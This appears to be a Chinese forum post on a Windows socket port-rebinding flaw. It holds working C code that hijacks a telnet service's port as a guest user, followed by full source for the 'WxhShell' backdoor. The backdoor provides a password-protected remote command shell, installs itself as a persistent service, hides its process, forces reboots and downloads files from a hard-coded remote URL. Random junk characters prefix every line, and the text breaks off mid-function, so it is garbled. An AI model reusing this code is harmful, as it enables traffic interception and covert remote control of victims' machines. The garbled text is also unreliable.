在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
{RC&Ub> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
MqjdW g[Q+DT saddr.sin_family = AF_INET;
{Jc.49 Om_-#S saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^v5<* uf%m <Uc?#;%Y} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
fM`.v+ #Q1}h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
T#GTNk!v 26ae|2?
这意味着什么?意味着可以进行如下的攻击:
l i)
5o B}+li1k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Qs,4PPEg LYO2L1u) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2EiE5@ $X,dQ]M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
TW6F9}'f& xmi@
XL@t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
gy Ey=@L [H@71+_Q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~L4L|q 7 TPVB{
107 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
g.pR4Mf=Z ]
@:x<> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
PiN^/#D E N rcIZ #include
m "96%sB #include
8d7 NESYl #include
Y_<-.?jf #include
G8&/Ic DWORD WINAPI ClientThread(LPVOID lpParam);
^^B~v<uK int main()
ly#jl5wmT {
=O3)tm; WORD wVersionRequested;
yoH,4,! G DWORD ret;
[@_W-rA WSADATA wsaData;
.(99f#2M: BOOL val;
d7S?"JpV SOCKADDR_IN saddr;
&y&HxV SOCKADDR_IN scaddr;
m/3,;P.6 int err;
#$
4g&8 SOCKET s;
`|2g&Vn SOCKET sc;
14DhJUV"b int caddsize;
8Si3
aq3 HANDLE mt;
F*T$n"^ DWORD tid;
]\y]8v5( wVersionRequested = MAKEWORD( 2, 2 );
(H8JV1J err = WSAStartup( wVersionRequested, &wsaData );
!/e*v>3u& if ( err != 0 ) {
NFyKTA6 printf("error!WSAStartup failed!\n");
/gn!="J return -1;
nS](d2 }
i5aY{3! saddr.sin_family = AF_INET;
zpjE_| ]$=#:uf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(K_{a+$[ V8Ri2&|3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
c \;_jg saddr.sin_port = htons(23);
1obajN if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~=Q^]y, {
^YJ%^P printf("error!socket failed!\n");
U;j\FE^+> return -1;
L{rd', }
W{c
Z7$d val = TRUE;
zdm2`D;~p //SO_REUSEADDR选项就是可以实现端口重绑定的
p zZ+!d if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=*R6O, {
}3_> printf("error!setsockopt failed!\n");
7"F29\ return -1;
_u]%K-_ }
CeeAw_*@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
n(`|:h" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"n_X4e+18P //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"8R
&c} c]n"1YNm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!hFhw1 {
dI|D c ret=GetLastError();
jweX"G54R printf("error!bind failed!\n");
t3h ){jZ return -1;
Sy']fGvx }
}|%1LL^pB listen(s,2);
hI9q);g while(1)
0U~*uDU {
jtUqrJFlQ caddsize = sizeof(scaddr);
&isKU8n
//接受连接请求
{PR "}x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
rzs-c ? if(sc!=INVALID_SOCKET)
zez|l {
[N12X7O3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
MT7B'hd if(mt==NULL)
~oJ"si {
D*j^f7ab printf("Thread Creat Failed!\n");
#IJeq0TVB break;
RD46@Q` }
{xH?b0> }
(k8}9[3G CloseHandle(mt);
+H28 F_# }
KK6n"&TVa closesocket(s);
wSw> UU WSACleanup();
tHAe return 0;
r?IBmatK/ }
0zE@?. DWORD WINAPI ClientThread(LPVOID lpParam)
k(M:#oA! {
[Ky3WppR SOCKET ss = (SOCKET)lpParam;
x
FWhr#5, SOCKET sc;
>lfuo unsigned char buf[4096];
Le:(;:eL>t SOCKADDR_IN saddr;
N/ f7"~+` long num;
6]4#8tR1_ DWORD val;
/M+Du, DWORD ret;
+V Nk#Z i //如果是隐藏端口应用的话,可以在此处加一些判断
=~k
c7f{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9?8PMh. saddr.sin_family = AF_INET;
b+|3nc! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
z:@:B:E saddr.sin_port = htons(23);
6i2%EC9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L7d1)mV {
,uAp;"YJeV printf("error!socket failed!\n");
Bp3E)l return -1;
zh|9\lf }
JXM]tV val = 100;
hHGuD2% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
DY9]$h*y {
OZ+v ~'oD ret = GetLastError();
+[<YE return -1;
AYgXqmH~+ }
fCwE1r*^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
DU0/if9. {
.] sJl ret = GetLastError();
^lAM /
return -1;
8;V9%h`P> }
tq}45{FH3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
jn:_2g[ {
|K"Q>V2y printf("error!socket connect failed!\n");
ZZ7qSyBs? closesocket(sc);
7/
?QZN closesocket(ss);
MUAs(M; return -1;
,wwO0,"y7 }
IHYLM;@L while(1)
dH!z<~ {
An$2='=/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
xC,x_:R` //如果是嗅探内容的话,可以再此处进行内容分析和记录
bh<;px- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Vv45w#w; num = recv(ss,buf,4096,0);
!t^DN\\# if(num>0)
#<S*MGp!= send(sc,buf,num,0);
qh:Bc$S else if(num==0)
REU," break;
3f] ;y<Km num = recv(sc,buf,4096,0);
pK@=]K~l0 if(num>0)
USEb} M` send(ss,buf,num,0);
j/z=<jA else if(num==0)
>m>F {v break;
ca{MJz' }
Q-n8~Ey1a closesocket(ss);
;~EQS.Qp closesocket(sc);
5$:
toL return 0 ;
EU %,tp }
1|(Q|
y=Kqv^ t/\ ==========================================================
?B1Zfu0 6e%@uB}$ 下边附上一个代码,,WXhSHELL
}=5>h' < eHuJFM ==========================================================
M'PZ{6; njF$1? )sq #include "stdafx.h"
Lr:Qc#2 0RT 8N=B83 #include <stdio.h>
du66a+@t #include <string.h>
x}yl Rg`[ #include <windows.h>
A^>@6d $2 #include <winsock2.h>
qcS.=Cj?) #include <winsvc.h>
N)H "'#- #include <urlmon.h>
XP:A"WK" ('tXv"fT #pragma comment (lib, "Ws2_32.lib")
ZpV]X(Px(o #pragma comment (lib, "urlmon.lib")
7C|!Wno[; IT1YF.i #define MAX_USER 100 // 最大客户端连接数
z# ^fS
| #define BUF_SOCK 200 // sock buffer
AJ bCC #define KEY_BUFF 255 // 输入 buffer
TI4Hu,rc YV<y-,Io #define REBOOT 0 // 重启
,U z8 _r #define SHUTDOWN 1 // 关机
]>t~Bcnm LE\=Y;% #define DEF_PORT 5000 // 监听端口
YQn<CjZ8af "XR=P>
xk #define REG_LEN 16 // 注册表键长度
wlT8| #define SVC_LEN 80 // NT服务名长度
h0'*)`;z rD].=.?1 // 从dll定义API
m&:&z7^p typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Nmj)TOEPW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
mG jB{Q+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*M1GVhW(+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Y~WdN<g v Y0bK- // wxhshell配置信息
~5f&<,p! struct WSCFG {
*nCA6i int ws_port; // 监听端口
QB*,+u4 char ws_passstr[REG_LEN]; // 口令
i6WH^IQ M int ws_autoins; // 安装标记, 1=yes 0=no
%
i4
5 char ws_regname[REG_LEN]; // 注册表键名
2.D2
o char ws_svcname[REG_LEN]; // 服务名
ABN4kM>% char ws_svcdisp[SVC_LEN]; // 服务显示名
tk&AZb,sP char ws_svcdesc[SVC_LEN]; // 服务描述信息
;xZ+1zmL0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_MBhwNBxZ int ws_downexe; // 下载执行标记, 1=yes 0=no
hOY@vm& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>}+{;d char ws_filenam[SVC_LEN]; // 下载后保存的文件名
fg^AEn1i #ibwD:{ };
UK
':%LeL ]n!V // default Wxhshell configuration
2n:<F9^" struct WSCFG wscfg={DEF_PORT,
T/_u;My; "xuhuanlingzhe",
=AIFu\9#a` 1,
QK]P=pE'C "Wxhshell",
i]v3CY|3AI "Wxhshell",
ye^x>a[' "WxhShell Service",
YThVG0I = "Wrsky Windows CmdShell Service",
W,xdj! ^t "Please Input Your Password: ",
sbW+vc 1,
oY)eN?c "
http://www.wrsky.com/wxhshell.exe",
o,*m,Qc "Wxhshell.exe"
?zW'Hi };
A2|Bbqd KD kGQh#9 // 消息定义模块
V<QpC5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~}.C*;J char *msg_ws_prompt="\n\r? for help\n\r#>";
)|~&(+Q?] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}r:"X<` char *msg_ws_ext="\n\rExit.";
|_;kQ(, char *msg_ws_end="\n\rQuit.";
>Xn,jMUW char *msg_ws_boot="\n\rReboot...";
e~]P _53 char *msg_ws_poff="\n\rShutdown...";
I-]G{ char *msg_ws_down="\n\rSave to ";
p&(0e,`z/ -9b=-K.y char *msg_ws_err="\n\rErr!";
\ND]x]5d char *msg_ws_ok="\n\rOK!";
\p4*Q}t cNWmaCLN$ char ExeFile[MAX_PATH];
$*C
}iJsF int nUser = 0;
9@*pC@I) HANDLE handles[MAX_USER];
h4hAzFQ.s int OsIsNt;
?"yjgt7+y !j6k]BgZ SERVICE_STATUS serviceStatus;
s41%A2Enh SERVICE_STATUS_HANDLE hServiceStatusHandle;
<Wn~s= suN6(p(. // 函数声明
QVT0.GzR int Install(void);
e>MtDJ5 int Uninstall(void);
w
<r*& int DownloadFile(char *sURL, SOCKET wsh);
uw+nll*W% int Boot(int flag);
xV>
.] void HideProc(void);
Xf4Q Lw/r int GetOsVer(void);
REh"/d int Wxhshell(SOCKET wsl);
5U2%X
pO void TalkWithClient(void *cs);
K*@?BE int CmdShell(SOCKET sock);
k79OMf<v int StartFromService(void);
3f`Uoh+ int StartWxhshell(LPSTR lpCmdLine);
K)'[^V Xh )I%M]K]F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
V%R]jbHZ# VOID WINAPI NTServiceHandler( DWORD fdwControl );
#Pd9i5~N [<@L`ki // 数据结构和表定义
7P$*qj~Vh SERVICE_TABLE_ENTRY DispatchTable[] =
?NoNg^ Of {
.x=abA$!9 {wscfg.ws_svcname, NTServiceMain},
&lzY"Y*hA0 {NULL, NULL}
[G_ ;78 };
{]IY;cL
,$6si // 自我安装
=oSD)z1c?x int Install(void)
+L 09^I {
4Wl`hF char svExeFile[MAX_PATH];
ozOc6 HKEY key;
so` \e^d strcpy(svExeFile,ExeFile);
(Yy#:r;U qsj$u-xhX // 如果是win9x系统,修改注册表设为自启动
dpW`e>o if(!OsIsNt) {
/Z2u0jNArP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)
gl{ x
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ug%7}& RegCloseKey(key);
t]B`>SL3W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nAQ[
-NbW, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6nA9r5Ghv RegCloseKey(key);
o "r return 0;
YIN* '!N }
#?Ix6 {R }
t ]BG)] }
2m $C;j!D else {
\4 b^*`d ^@x&n)nzP // 如果是NT以上系统,安装为系统服务
}oD^tU IK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
61_PSScSY if (schSCManager!=0)
6GuTd {
MgiW9@_( SC_HANDLE schService = CreateService
CV[ 9i (
|21VOPBS schSCManager,
$}4ao2 wscfg.ws_svcname,
X}GX6qAdt wscfg.ws_svcdisp,
rw)!>j+&A SERVICE_ALL_ACCESS,
zeGWM,! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1Ne;U/ SERVICE_AUTO_START,
kiF}+,z" SERVICE_ERROR_NORMAL,
IfH/~EtX svExeFile,
W2<'b05 NULL,
%0&,_jM/9 NULL,
5]G%MB/|$ NULL,
)7NK+k NULL,
VK/L}^=GOO NULL
U9BhtmY );
X[/7vSqZ@w if (schService!=0)
hGKQK
^bn {
Wt%Wpb8 CloseServiceHandle(schService);
n%WjU)< CloseServiceHandle(schSCManager);
I?1BGaAA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
]HWeVhG strcat(svExeFile,wscfg.ws_svcname);
o5]-Kuw` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ea{zL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]R~hzo RegCloseKey(key);
{JdXn return 0;
+/_XSo }
iklZ[G%A0 }
}se3y CloseServiceHandle(schSCManager);
|7K>` }
"uplk8iCJ }
?0 cv y /vc\e return 1;
xsU%?"r }
zZd.U\"2 _k}Qe; // 自我卸载
B|o@|zF int Uninstall(void)
J<0sT=/2$ {
papMC"<g$ HKEY key;
7Tp+]"bL 3Z~_6P^
+N if(!OsIsNt) {
C\{ KB@C\* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|A68+(3u RegDeleteValue(key,wscfg.ws_regname);
3K||( RegCloseKey(key);
1Y"9<ry if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%V1j M RegDeleteValue(key,wscfg.ws_regname);
N~b0 b;e RegCloseKey(key);
{.U:Ce return 0;
IT#Li }
|"}7)[BW} }
8@doKOA~T }
~zZOogM< else {
M]%dFQ ;[4=?GL* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Fsl="RB7f if (schSCManager!=0)
Ze/\IBd {
\R9izuc9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<^$ppwk$ if (schService!=0)
ES^JRX {
oumbJ7X=L if(DeleteService(schService)!=0) {
du0o4~- CloseServiceHandle(schService);
ld"rL6 CloseServiceHandle(schSCManager);
Ne;0fkO return 0;
7'At_oG }
EajJv>X7 CloseServiceHandle(schService);
d %FLk=] }
W9}
,f CloseServiceHandle(schSCManager);
(:]+IjnE }
%*K zP{ }
/:!l&1l:p k&L/JzzI return 1;
"3 ++S }
UvU@3[fw $KT)Kz8tF // 从指定url下载文件
\FX"A# int DownloadFile(char *sURL, SOCKET wsh)
VcsMDa {
# bjK]+ HRESULT hr;
l['p^-I char seps[]= "/";
M*cF'go char *token;
FbMtor char *file;
b+gu<## char myURL[MAX_PATH];
@0
x char myFILE[MAX_PATH];
e ?7NW :,yC\,H^ strcpy(myURL,sURL);
I5QtPqB> token=strtok(myURL,seps);
sZ7,7E|_ while(token!=NULL)
XgXXBKf$ {
Z0v?3v}9^ file=token;
]1zud token=strtok(NULL,seps);
#l`\'0`. }
30SQ&j[N] ~K5A$s2 GetCurrentDirectory(MAX_PATH,myFILE);
QrFKjmD< strcat(myFILE, "\\");
mJ(ElDG strcat(myFILE, file);
7;Lv_Y"b send(wsh,myFILE,strlen(myFILE),0);
pUqNB_ send(wsh,"...",3,0);
g'w"U9tjO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"1XTgCu\ if(hr==S_OK)
E
?bqEW( return 0;
l{]KA4 else
Yv)c\hm(7j return 1;
m6^#pqSL _OJfd }
gm-9 oA
X X!ldL|Ua% // 系统电源模块
)}"`$6:k` int Boot(int flag)
!Ea9
fe {
9
!UNO HANDLE hToken;
KJS-{ed TOKEN_PRIVILEGES tkp;
gMZ+kP` _NwHT`O[ if(OsIsNt) {
br TP}A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#*w)rGkU2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4Z=`; tkp.PrivilegeCount = 1;
]
>w@@A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&tf(vU;,' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Z'uiU e`& if(flag==REBOOT) {
0s{7=Ef if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
u>vvW|OB[ return 0;
j+3rS }
?WqaT) l~ else {
:x5O1Zn/t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]9_}S return 0;
dHg[r|xC }
5D<ZtsXE }
? EHheZ{ else {
SYf1dbc..u if(flag==REBOOT) {
3` oOoKX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>!lpI5'Z& return 0;
E`@Z9k1 ` }
3OKs?i3A else {
T>b"Gj/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
f}*:wj return 0;
]auqf }
!\BM }
v.4G>0 0^ n53c}^ return 1;
3HuGb^SNg }
6rD]6#D `jr?I {m; // win9x进程隐藏模块
Ya!%o> J%t void HideProc(void)
kw#-\RR_c {
%QGw`E Fsx<Sa HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Z^'\()3t if ( hKernel != NULL )
F&7|`o3 {
-r3
s{HO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u3,O)[qV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Uey'c1 FreeLibrary(hKernel);
]e7?l/N[ }
e3p:lu Ok\X%avq return;
Q[q`)~| }
j!%^6Io4 ^Mc9MZ) // 获取操作系统版本
|</) 6r int GetOsVer(void)
(C).Vj~ {
Ar,n=obG OSVERSIONINFO winfo;
,p(&G_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ks6\lpr GetVersionEx(&winfo);
/Yg&:@L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
S ++~w9} return 1;
Yc_(g0NK else
SA=>9L,2 return 0;
mK"s*tD }
to,\n"$~! Fzt?M // 客户端句柄模块
)$df6sq int Wxhshell(SOCKET wsl)
3/ } {
Qr7v^H~E4. SOCKET wsh;
0x]?rd+q8Q struct sockaddr_in client;
RB% y($ DWORD myID;
LGZa
l&9AY $7g+/3Fu^ while(nUser<MAX_USER)
f38e(Q];m {
6'@ {
*
u int nSize=sizeof(client);
x{<l8vL=-c wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Vr( Z;YO if(wsh==INVALID_SOCKET) return 1;
y35~bz^2 a@qc? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>{:hadUH if(handles[nUser]==0)
dY~z6bT closesocket(wsh);
p)?6#~9$ else
EEL3~H{( nUser++;
S7PWP<9 }
sO6=w%l^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
yrfV&C%=n r@Jy*2[-Jq return 0;
Yb/*2iWX }
9`Fw}yAt s<k2vbhI // 关闭 socket
vPz7*w void CloseIt(SOCKET wsh)
x(eX.>o\ {
^IIy> closesocket(wsh);
v}V[sIs} nUser--;
nM b@
B ExitThread(0);
l$EN7^%w }
"opMS/a"7 dpNERc5 // 客户端请求句柄
p@4GI[ 4 void TalkWithClient(void *cs)
0NC70+4L {
fbOqxF"?we )=29Hm" SOCKET wsh=(SOCKET)cs;
rZaO^}u] char pwd[SVC_LEN];
Z
f\~Cl char cmd[KEY_BUFF];
fC*cqc~{@ char chr[1];
-,p=;t#( int i,j;
ZcyGLg0I 7>F{.\Z while (nUser < MAX_USER) {
+>vKI8g*RH * zyik[o if(wscfg.ws_passstr) {
)hj:Xpj9# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E
BBd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4m1r@
$ //ZeroMemory(pwd,KEY_BUFF);
KAFR.h:p9 i=0;
~tW~%]bs2Q while(i<SVC_LEN) {
mOn_#2=KF OVe0{}
j // 设置超时
DyGls8<\! fd_set FdRead;
-YKy"
struct timeval TimeOut;
:Z6j5V;s FD_ZERO(&FdRead);
TSsZzsdr2 FD_SET(wsh,&FdRead);
%KT}Map TimeOut.tv_sec=8;
5Q"w{ n TimeOut.tv_usec=0;
{o)pwM"@( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^9q#,6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
g;8 wP5i Em@:QmEN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9iZio3m pwd
=chr[0]; B<m0YD?>~>
if(chr[0]==0xd || chr[0]==0xa) { 0zq'Nf?#3
pwd=0; #m{*]mY@
break; <TRhn z
} 5j1d=h
i++; NBc^(F"
} '"\M`G
k<^M >` $
// 如果是非法用户,关闭 socket &EQhk9j
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LtMM89u
} }\7UU?@ n
9 =;mY
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4#0 3x:/<\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =ZIT!B?4
6,3o_"J!
while(1) { crP2jF!
GN(<$,~g
ZeroMemory(cmd,KEY_BUFF); !ou#g5Q@z
~,HFd`
// 自动支持客户端 telnet标准 jBw)8~tYm
j=0; K -rR)-rI
while(j<KEY_BUFF) { ls]N&!/hq
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U-u?oU-.'
cmd[j]=chr[0]; IFX$\+-
if(chr[0]==0xa || chr[0]==0xd) { WxGD*%
cmd[j]=0; &HM-UC|
break; qM(}|fMbN
} =L" 0]4K
j++; PFh ^Z L
} /^BC
Qaj
f` uRC-B/
// 下载文件 x [FLV8`b|
if(strstr(cmd,"http://")) { -Qn7+?P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]19VEH
if(DownloadFile(cmd,wsh)) 2L^)k?9>g+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ivd|*?k0
else L9D`hefz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d7X&3L%Oq
} :-k|jt
else { `R[ZY!=+
&&X,1/
switch(cmd[0]) { M`Er&nQs
St-uE|8
// 帮助 y!77gx?-
case '?': { A]/o-S_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); { :tO
RF
break; J/?Nf2L4
} // o.+?S
// 安装 LSJ?;Zg(=z
case 'i': { Nujnm$!,Q
if(Install()) =#b@7Yw:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Ks>s
else w6%
Q"%rp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m.e]tTe
break; f
V. c6
} !.]JiT'o
// 卸载 7z{wYCw
case 'r': { -1g:3'%
P
if(Uninstall()) 8-#%l~dr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $RPW/Lyiq
else }~XWtWbd-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'jtC#:ePK
break; Wp=3heCa6
} ~f1g"
// 显示 wxhshell 所在路径 QOF@DvQ
case 'p': { :o'XE|N
char svExeFile[MAX_PATH]; bV_nYpo
strcpy(svExeFile,"\n\r"); |@Tga_0p
strcat(svExeFile,ExeFile); #@S%?`4,
send(wsh,svExeFile,strlen(svExeFile),0); N6Ud(8*
break; W_\zx<m
} %fqR
// 重启 wSTulo: 9
case 'b': { hArY$T&MB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TC\+>LXiZ
if(Boot(REBOOT)) 9t"Rw ns
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |W">&Rb<t#
else { @c3xUK
closesocket(wsh); &_ekA44E
ExitThread(0); |^pev2g
} 9 E!le=>
break; Sjpx G@k
} kXMp()N8`
// 关机 G'ykcB._
case 'd': { :gh[BeqQ)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?{{w[U6NE
if(Boot(SHUTDOWN)) |cPHl+$nh.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o\IMYT
else { uepyH
closesocket(wsh); qLN^9PdEE
ExitThread(0); 2@&r!Q|1vR
} |\5^ub,m
break; 0lfK}
a
} >H2`4]4]
// 获取shell vT'Bs;QR
case 's': { !>8~R2
CmdShell(wsh); RK>Pe3<
closesocket(wsh); K7+yU3
ExitThread(0); WSkGVQu
break; =l,P'E
} mPV<a&U
// 退出 kSQ8kU_w+
case 'x': { ':'g!b`/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X%1TsCKMj
CloseIt(wsh); rH+OXGoB
break; ^QB[;g.O
} D6sw"V#
// 离开 k*.]*]
case 'q': { I2ek`t]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); c?p^!zG
closesocket(wsh); g,ZA\R~
WSACleanup(); Ykbg5Z
exit(1); u2V-V#jS
break; *2'8d8>R%]
} K"}fD;3
} _]Hna <Ly
} ^NW[)Dq1<
(B7G'h.?
// 提示信息 7io["zW
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yzA05 npTl
} @=Kq99=\U
} }{aGh I~<
1gEH~Jmj
return; pJpapA2l*6
} jcH@*c=%e
nR!e(
// shell模块句柄 ^rkKE
dd
int CmdShell(SOCKET sock) PxHFH pL
{ !Brtao"m
STARTUPINFO si; fCl}eXg6w
ZeroMemory(&si,sizeof(si)); ]Z JoC!u
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DHidI\*gT
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (JhX:1
PROCESS_INFORMATION ProcessInfo; N0U/u'J!g
char cmdline[]="cmd"; X'9.fKp
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X|M!Nt0'
return 0; E-MPFL
} +jN}d=N-
DT1gy:?L
// 自身启动模式 x%P|T3Qy5
int StartFromService(void) "(koR Q
{ Gn]36~)*H
typedef struct }kbSbRH43
{ -+9[X*VCc
DWORD ExitStatus; adON&<
DWORD PebBaseAddress; bQll;U^A
DWORD AffinityMask; B*7kX&Uq
DWORD BasePriority; cw;wv+|k
